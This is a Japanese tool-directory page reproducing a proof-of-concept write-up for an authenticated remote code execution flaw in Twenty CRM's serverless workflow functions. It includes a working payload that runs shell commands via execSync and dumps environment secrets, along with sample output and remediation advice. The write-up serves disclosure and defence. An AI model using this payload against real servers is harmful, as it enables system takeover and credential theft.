Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/dillonkirsch/cve-2026-26720-twenty-rce
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用クラウドセキュリティ設定ミス
GitHubdillonkirsch/cve-2026-26720-twenty-rce

CVE-2026-26720-Twenty-RCE

Twenty CRMにおける認証済みリモートコード実行の概念実証。サンドボックス化されていないサーバーレスワークフロー関数を介して、任意のNode.jsコマンド実行と環境変数の開示を可能にします。

リポジトリを見る
7ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Twenty CRM - 認証済みリモートコード実行(RCE)

概要

製品: Twenty CRM

脆弱性: サーバーレスワークフロー関数を介したリモートコード実行(RCE)

深刻度: 重大

影響を受けるコンポーネント: ワークフロー自動化(コード - サーバーレス関数)

テスト済みバージョン: v1.15.0

このリポジトリは、Twenty CRM ワークフローエンジンにおける重大な脆弱性を文書化したものです。「コード - サーバーレス関数」コンポーネントは、認証済みユーザーが任意の Node.js コードを実行することを許可します。サンドボックス化が欠如しているため、child_process モジュールをインポートし、ホストサーバー上でシステムレベルのコマンドを実行することが可能です。

脆弱性の詳細

このアプリケーションは、ユーザーがコード実行ステップを含むカスタム自動化ワークフローを作成することを許可します。これはデータ操作を目的としていますが、実行環境は Node.js 組み込みモジュールや基盤となるオペレーティングシステムへのアクセスを適切に制限していません。

攻撃者は child_process ライブラリの execSync を利用して、以下を実行できます:

  1. シェルコマンドの実行(例:cat、ls、whoami)。
  2. ファイルシステムからの機密ファイルの読み取り(例:)。
/etc/passwd
  • 環境変数(process.env)のダンプ。データベース認証情報、API キー、アプリケーションシークレットが漏洩します。
  • 概念実証(PoC)

    再現手順

    1. Twenty CRM にログインします。
    2. 設定 > ワークフロー に移動します。
    3. 手動トリガー を使用して新しいワークフローを作成します。
    4. アクションを追加します:コード - サーバーレス関数。
    5. 以下の TypeScript ペイロードをコードエディタに貼り付けます:
    root@kitploit:~
    import { execSync } from 'child_process';
    
    export const main = async (params: any): Promise<object> => {
      try {
        // 1. リモートコマンド実行:システムユーザーの読み取り
        const output = execSync('cat /etc/passwd').toString();
        
        // 2. 情報漏洩:すべての環境変数(シークレット)のダンプ
        const secrets = JSON.stringify(process.env);
        
        return { 
          data: output, 
          secrets: secrets 
        };
      } catch (e: any) {
        return { error: e.message };
      }
    };
    
    
    1. ワークフローを保存して実行します。

    コード概要

    確認された出力

    ワークフローは正常に実行され、システムデータを返します。

    システムファイルへのアクセス(/etc/passwd):

    root@kitploit:~
    root:x:0:0:root:/root:/bin/sh
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
    ...
    
    

    漏洩した環境変数: process.env のダンプにより、重要な設定情報が明らかになりました:

    • PG_DATABASE_URL(データベース認証情報)
    • APP_SECRET(署名キー)
    • REDIS_URL
    • AWS_ACCESS_KEY(設定されている場合)

    影響

    この脆弱性により、(ワークフローを作成する権限を持つ)認証済みユーザーがシステム全体の完全な侵害を達成できます。

    • 機密性: 攻撃者はデータベースとファイルシステム内のすべてのデータを読み取ることができます。
    • 完全性: 攻撃者はアプリケーションコードを変更、データを削除、またはマルウェアを注入できます。
    • 可用性: 攻撃者はサーバーをシャットダウンするか、すべてのリソースを消費できます。

    修正方法

    この問題を修正するには、「サーバーレス関数」機能に適切な分離が必要です。

    • サンドボックス化の実装: コードは制限された環境で実行されるべきです(例:VM2 サンドボックス、ネットワーク/ボリュームアクセスのない専用 Docker コンテナ、または Firecracker などのマイクロ VM)。
    • モジュールの制限: child_process、fs、net などの機密性の高い Node.js モジュールへのアクセスを無効にします。
    • 環境変数のスクラビング: 実行コンテキストが親プロセスの環境変数(アプリのシークレットを含む)を継承しないようにします。

    タイムライン

    • 2026年1月8日: 脆弱性を発見。
    • [日付]: Twenty CRM セキュリティチームに報告。
    • [ステータス]: パッチ待ち。
    ツールをダウンロード